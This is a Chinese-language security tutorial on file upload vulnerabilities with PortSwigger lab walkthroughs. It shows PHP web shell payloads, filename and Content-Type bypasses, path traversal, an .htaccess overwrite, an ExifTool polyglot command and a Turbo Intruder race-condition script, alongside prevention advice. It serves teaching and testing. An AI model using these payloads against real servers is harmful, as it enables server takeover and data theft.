百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

一篇文章就能让你学会文件上传漏洞,仔细学习

zhezhongyun 2025-01-02 20:20 31 浏览

文件上传漏洞

本篇文章我们将详细的介绍一下文件上传的相关知识,包括原理、攻击手法、常见的绕过方法、修复方法等。

什么是文件上传漏洞

文件上传其实是一个非常常见的功能,几乎每个网站都会涉及到这个功能,比如 上传头像、证件照、业务系统的Excel、txt、报销凭证等。但是如果一个系统过于信任他的用户,没有对用户上传的文件名、文件类型、文件内容、大小等进行校验,则都会造成文件上传漏洞,如果系统还返回了文件的保存路径并且可以解析,那这个漏洞可就太完美了。

文件上传漏洞的危害

文件上传漏洞能造成什么危害主要取决于两个方面:

1.这个系统对文件的哪个方面没有进行校验,大小、类型还是内容

2.上传上去的文件收到什么限制

比如说在最完美的情况下(对于攻击者来说),一个服务器没有校验用户上传的文件类型,并且服务器配置允许 php jsp 之类的文件去作为一个代码文件被执行。那么攻击者就可以上传一个恶意文件作为 web shell,从而进一步获取完整的服务器控制权限。

再比如服务器没有对用户上传的文件名进行限制,或者没有重命名用户上传的文件,那可能会允许攻击者覆写关键的配置文件,如果恰好还存在路径穿越漏洞,那效果就更炸裂了。

至于说不检测文件大小,这个的危害大家就更容易理解了,一方面可能会绕过某些防火墙的内容检测,另一方面,即便没有恶意代码,也没有其他问题,但是它占空间啊,这可都是钱啊,如果文件的保存路径就是网站运行的机器,那还可能造成类似 Dos 攻击的效果。

如何预防文件上传漏洞

1.使用白名单策略,仅允许上传你需要的文件格式

2.检查文件名中是否包含可能会影响文件保存路径的 ../

3.对上传的文件统一进行重命名

4.所有的验证动作应该在保存完成之前,而不是先保存,如果验证不通过再删除

5.尽量使用已经得到广泛验证的框架来处理文件上传,而不是自己写一个处理逻辑

6.使用 oss 之类的存储方式,它们不会对文件进行解析,即便上传上去恶意文件也无法使用

案例详解

最简单的文件上传漏洞

作为示例,我们先看一个没有任何验证的文件上传功能,来了解这个漏洞

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容

任务过程

1.首先我们先把我们要上传的文件准备好,里面要包含获取文件内容的代码

echo file_get_contents('/home/carlos/secret'); ?>

2.然后我们看看它的上传功能是什么样子的


3.随便上传一个东西看一下,它的请求包的构成


4.我们可以看到它使用的是 multipart/form-data 上传的文件,同时文件名在 Content-Disposition 请求头中,响应包回显了一个疑似文件路径的地址,那我们就拼接一下,看能不能访问到这个图片


5.可以看到失败了,没有关系,我们还可以看看这个图片对应的链接是什么,在图片的位置右键,选择在新的标签页中打开


6.这时我们就可以看到完整的文件路径了,那下一步当然就是要干点坏事了,上传我们的 webshell 看看有什么限制


7.可以看到没有任何限制,直接就传上去了,那我们就可以直接访问了 /files/avatars/burp.php


8.ok,任务完成,收工下班

一些绕过方法

绕过文件类型限制

这个方法只针对那些通过检测 content-type 头的值的情况,如果服务器还校验其他的比如 文件后缀、文件内容,那就不行了

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容

任务过程

1.网站还是和之前的一样,我们直接上传一个 php 文件看看有什么反应


2.这里可以看到,服务器报错说我们的文件类型是 application/octet-stream ,但是网站只允许上传 image/jpeg 和 image/png,遇到这种情况,我们可以直接替换掉 content-type 头的值,来尝试绕过,如果服务端后续没有对文件内容和文件后缀进行检测的话是有很大概率可以绕过的


3.可以看到文件被成功上传了上去,那我们还是直接访问它拿到 flag /files/avatars/burp.php


只读路径绕过

大家可能遇到那种文件上传上去了,也拿到保存的路径了,但是访问之后返回的是你的代码,而不是代码的执行结果。这种情况可能有几种原因:

1.文件被上传到文件服务器了,这个服务器只配置了只读的权限

2.文件被上传到统一服务器的只读目录了

3.文件被上传到 oss 这类对象存储服务器上了

这里介绍的就是第二种情况,对于另外两种情况,如果你没有办法把文件上传到网站运行的服务器上,那就可以宣布放弃了

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容

任务过程

1.还是老样子,上传我们的恶意文件看看是个什么效果


2.好的成功上传,那我们访问看看


3.这里我们可以看到网站把我们的文件当成了一个静态资源反了回来,并没有执行它,但是我们可以发现它是保存在网站运行的服务器上的,那可能就是第二种情况了,avatars 这个目录是一个只读目录,那我们就需要尝试把这个文件上传到其他目录了,payload ../burp.php


4.这里我们可以发现,网站似乎把我们的 ../ 给吞掉了,那我们就改成 ..%2Fburp.php 试试


5.这次就对了,我们去访问一下这个地址,看看它是不是也是只读的 files/burp.php


6.这次我们就拿到 flag 了,收工下班

黑名单绕过

检测用户上传的文件类型是不是在黑名单里这种策略有点用,但不完全有用,因为我们总是有各种奇奇怪怪的方法可以绕过黑名单检测,比如 大小写、加数字后缀(php1) 之类的。

当然对于一些特殊情况下以下方法也能绕过黑名单

1.大小写绕过,PhP、Jsp

2.多个后缀,burp.php.jpg (代码校验最后一个后缀,中间件解析第一个后缀的情况)

3.添加后缀字符,burp.php. (一些组件会忽略后面的空白或点)

4.URL编码,burp%2Ephp

5.00截断,burp.php%00.jpg (代码校验用java或php等高级语言编写,但是服务器处理文件使用的是C/C++的低级函数,可能会使两者出现差异)

6.双写后缀,burp.p.phphp (代码发现危险格式.php后将其置空,使得前后的字符组成了一个新的 .php)

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。

但是这个网站禁止了一些恶意文件的上传,想办法绕过它,达成你的目的

任务过程

1.还是老样子,我们上传一个文件看看是怎么个事


2.这里说了,我们上传的文件不被允许,那我们就看看这个服务器是 Windows 的还是 Linux 的,如果是 Windows 的,那我们就可以试试大小写绕过


3.这里我们把路径从 my-account 改成了 my-aCCount 任然可以访问成功,说明服务器对大小写不敏感,大概率是Windows的服务器或者说代码对大小写不敏感,那我们就试试把 burp.php 改成 burp.PhP 和 burp.phP13 试试



4.可以看到,PhP 上传失败,phP13 虽然上传成功,但是并没有被作为代码解析,那我们还是试试有没有路径穿越


5.很遗憾,它把我上传的文件名作为了一个字符串,而不是一个目录切换的符号,那我们只能想想办法,让服务器把 phP13 作为一个 php 代码来解析一下了。这里我们可以使用覆盖配置文件的方法来把 phP13 定义为 application/x-httpd-php 从而告诉 Apache 使用 PHP 解析器来处理这种类型的文件


6.上面我们通过访问 /files/avatars/.htaccess 确定了这个路径下存在 .htaccess 这个文件,那下一步就是覆写它了

AddType application/x-httpd-php .phP13

7.上传这个文件,注意修改文件名和文件类型分别为 .htaccess 和 text/plain


8.此时我们再访问 files/avatars/burp.phP13,服务器就会把它交给 php 解释器去执行了


内容校验绕过

有些网站对于文件上传的监测不是基于文件后缀或者文件类型,而是去检测文件的内容,看它是不是自己要求的文件,比如PEG文件总是以字节FF D8 FF开头,他们就检测文件的开头是不是这个。

但是这种方法也不是绝对安全的,我们可以使用 ExifTool 之类的工具去制作一个元数据中包含恶意代码的多语言JPEG文件。

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。

任务过程

1.我们还是上传一个php文件看看是什么情况


2.它说我的不是一个有效的图片,那我们使用 ExifTool 制作一个带有图片的php代码文件 exiftool -Comment="".jpg -o exploit.php,然后上传上去


3.可以看到,这个命令给图片的开头插入了我们的php代码,并且成功上传了上去,接下来我们访问一下看看


4.start 和 end 中间的代码就是我们的 flag 了,提交收工

条件竞争绕过

可能大家会说,我怎么没遇到过这么简单的验证条件。

这个确实,现在大部分网站如果使用的较新的框架的话,它们对文件上传的处理是比较完善的,通常你上传的文件并不会直接保存到目的地址,而是先将其暂存在一个沙箱或者临时目录,然后重命名一个随机文件名防止覆盖原有文件,等所有的验证都没问题了,才会将其保存至预设的保存路径。

但是有的公司系统是自研的,他们不想使用开源的框架,就是自己写的文件上传组件,他们可能购买了一些设备来检测上传的文件,这就使得他们的研发有可能过于依赖这个设备,他们会选择将文件直接上传到文件系统上,然后让防病毒设备进行检测,如果检测出问题再删除掉它,虽然这个过程可能只有几毫秒,但是依然是有可能被攻击者执行的,也就是我们本节介绍的条件竞争。

但是这种情况的检测比较依赖代码审计,在纯盒测试中,可能由于运气的问题,或者你的并发不够高,而导致你检测不出来这个漏洞。

至于怎么预防这种漏洞,其实可以使用随机的临时目录名来解决,只要让攻击者预测不到你的临时目录,那么他就不能通过请求这个文件来执行这个web shell,从而保证即便存在这个漏洞,它也无法利用。

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。

任务过程

1.还是上传一个文件看看是个什么情况


2.可以看到即使使用我们上一节制作的带有图片的恶意php文件也无法上传,正常来说我们是不知道后台的判断逻辑的,只能尝试我们已知的各种绕过后给出以下结论


3.但是我们这是个靶场啊,那就试试上面提到的插件 Turbo Intruder,找到上传文件的那个数据包,右键发送到插件



4.下面就需要一定的python代码基础了,我们首先准备以下代码

def queueRequests(target, wordlists): 
 engine = RequestEngine( 
 endpoint=target.endpoint, 
 concurrentConnections=10, # 并发连接数 
 requestsPerConnection=100, # 每个连接的请求数 
 pipeline=False) # 是否使用管道 
 # 定义第一个请求上传web sheel 
 request1 = '''POST /my-account/avatar HTTP/1.1 
 Host: 0afc00a704df996f80c6ee7f00260038.web-security-academy.net 
 Cookie: session=3Zozd04zEhIUbPMG8YeDTMvAeYn6HZmN 
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
 Accept-Language: en-US,en;q=0.5 
 Accept-Encoding: gzip, deflate 
 Content-Type: multipart/form-data; boundary=---------------------------181290533733138099554259295581 
 Content-Length: 549 
 Origin: https://0afc00a704df996f80c6ee7f00260038.web-security-academy.net 
 Referer: https://0afc00a704df996f80c6ee7f00260038.web-security-academy.net/my-account?id=wiener 
 Upgrade-Insecure-Requests: 1 
 Sec-Fetch-Dest: document 
 Sec-Fetch-Mode: navigate 
 Sec-Fetch-Site: same-origin 
 Sec-Fetch-User: ?1 
 Te: trailers 

 -----------------------------181290533733138099554259295581 
 Content-Disposition: form-data; name="avatar"; filename="burp.php" 
 Content-Type: application/octet-stream 
 
 
 -----------------------------181290533733138099554259295581 
 Content-Disposition: form-data; name="user" 
 
 wiener 
 -----------------------------181290533733138099554259295581 
 Content-Disposition: form-data; name="csrf" 
 
 MQYNOxJzNmz9WZV3V7JcPuDmXb01NQst 
 -----------------------------181290533733138099554259295581-- 
 ''' 
# 定义第二个请求,执行刚才的web shell 
request2 = '''GET /files/avatars/burp.php HTTP/1.1 
 Host: 0afc00a704df996f80c6ee7f00260038.web-security-academy.net 
 Cookie: session=3Zozd04zEhIUbPMG8YeDTMvAeYn6HZmN 
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
 Accept-Language: en-US,en;q=0.5 
 Accept-Encoding: gzip, deflate 
 Upgrade-Insecure-Requests: 1 
 Sec-Fetch-Dest: document 
 Sec-Fetch-Mode: navigate 
 Sec-Fetch-Site: none 
 Sec-Fetch-User: ?1 
 Te: trailers\r\n\r\n''' # 注意这里的 \r\n\r\n 这个是必须有的,用来闭合请求 

 # 使用gate 'race1'将第一个请求加入队列 
 engine.queue(request1, gate='race1') 
 # 使用相同的gate 'race1'将第二个请求加入队列9次 
 for x in range(9): 
 engine.queue(request2, gate='race1') 

 # 等待所有标记为'race1'的请求准备好 
 # 然后,发送每个请求的最后一个字节 
 # 这个方法是非阻塞的,就像queue方法一样 
 engine.openGate('race1') 
 # 等待引擎在给定的超时时间内完成所有请求 
 engine.complete(timeout=60) 
 
def handleResponse(req, interesting): 
 table.add(req)

5.这里点击最下面的 attack 开始攻击,之后查看响应为 200 的就可以获得 flag 了


6.OK 收工下班

PUT 方法上传

这个就比较简单了,使用 OPTIONS 方法去请求这个网站,看看它支不支持 PUT 方法,支持的话就直接使用 PUT 上传就好了,没什么技术含量

总结

基本上常用的文件上传的验证方式和绕过本文都提及了,在实际测试中我们可能会同时使用上几个技术来实现绕过,所以还是需要师傅们活学活用,不要被经验束缚住了,共勉。

本文来源于隐雾安全

相关推荐

JPA实体类注解,看这篇就全会了

基本注解@Entity标注于实体类声明语句之前,指出该Java类为实体类,将映射到指定的数据库表。name(可选):实体名称。缺省为实体类的非限定名称。该名称用于引用查询中的实体。不与@Tab...

Dify教程02 - Dify+Deepseek零代码赋能,普通人也能开发AI应用

开始今天的教程之前,先解决昨天遇到的一个问题,docker安装Dify的时候有个报错,进入Dify面板的时候会出现“InternalServerError”的提示,log日志报错:S3_USE_A...

用离散标记重塑人体姿态:VQ-VAE实现关键点组合关系编码

在人体姿态估计领域,传统方法通常将关键点作为基本处理单元,这些关键点在人体骨架结构上代表关节位置(如肘部、膝盖和头部)的空间坐标。现有模型对这些关键点的预测主要采用两种范式:直接通过坐标回归或间接通过...

B 客户端流RPC (clientstream Client Stream)

客户端编写一系列消息并将其发送到服务器,同样使用提供的流。一旦客户端写完消息,它就等待服务器读取消息并返回响应gRPC再次保证了单个RPC调用中的消息排序在客户端流RPC模式中,客户端会发送多个请...

我的模型我做主02——训练自己的大模型:简易入门指南

模型训练往往需要较高的配置,为了满足友友们的好奇心,这里我们不要内存,不要gpu,用最简单的方式,让大家感受一下什么是模型训练。基于你的硬件配置,我们可以设计一个完全在CPU上运行的简易模型训练方案。...

开源项目MessageNest打造个性化消息推送平台多种通知方式

今天介绍一个开源项目,MessageNest-可以打造个性化消息推送平台,整合邮件、钉钉、企业微信等多种通知方式。定制你的消息,让通知方式更灵活多样。开源地址:https://github.c...

使用投机规则API加快页面加载速度

当今的网络用户要求快速导航,从一个页面移动到另一个页面时应尽量减少延迟。投机规则应用程序接口(SpeculationRulesAPI)的出现改变了网络应用程序接口(WebAPI)领域的游戏规则。...

JSONP安全攻防技术

关于JSONPJSONP全称是JSONwithPadding,是基于JSON格式的为解决跨域请求资源而产生的解决方案。它的基本原理是利用HTML的元素标签,远程调用JSON文件来实现数据传递。如果...

大数据Doris(六):编译 Doris遇到的问题

编译Doris遇到的问题一、js_generator.cc:(.text+0xfc3c):undefinedreferenceto`well_known_types_js’查找Doris...

网页内嵌PDF获取的办法

最近女王大人为了通过某认证考试,交了2000RMB,官方居然没有给线下教材资料,直接给的是在线教材,教材是PDF的但是是内嵌在网页内,可惜却没有给具体的PDF地址,无法下载,看到女王大人一点点的截图保...

印度女孩被邻居家客人性骚扰,父亲上门警告,反被围殴致死

微信的规则进行了调整希望大家看完故事多点“在看”,喜欢的话也点个分享和赞这样事儿君的推送才能继续出现在你的订阅列表里才能继续跟大家分享每个开怀大笑或拍案惊奇的好故事啦~话说只要稍微关注新闻的人,应该...

下周重要财经数据日程一览 (1229-0103)

下周焦点全球制造业PMI美国消费者信心指数美国首申失业救济人数值得注意的是,下周一希腊还将举行第三轮总统选举需要谷歌日历同步及部分智能手机(安卓,iPhone)同步日历功能的朋友请点击此链接,数据公布...

PyTorch 深度学习实战(38):注意力机制全面解析

在上一篇文章中,我们探讨了分布式训练实战。本文将深入解析注意力机制的完整发展历程,从最初的Seq2Seq模型到革命性的Transformer架构。我们将使用PyTorch实现2个关键阶段的注意力机制变...

聊聊Spring AI的EmbeddingModel

序本文主要研究一下SpringAI的EmbeddingModelEmbeddingModelspring-ai-core/src/main/java/org/springframework/ai/e...

前端分享-少年了解过iframe么

iframe就像是HTML的「内嵌画布」,允许在页面中加载独立网页,如同在画布上叠加另一幅动态画卷。核心特性包括:独立上下文:每个iframe都拥有独立的DOM/CSS/JS环境(类似浏...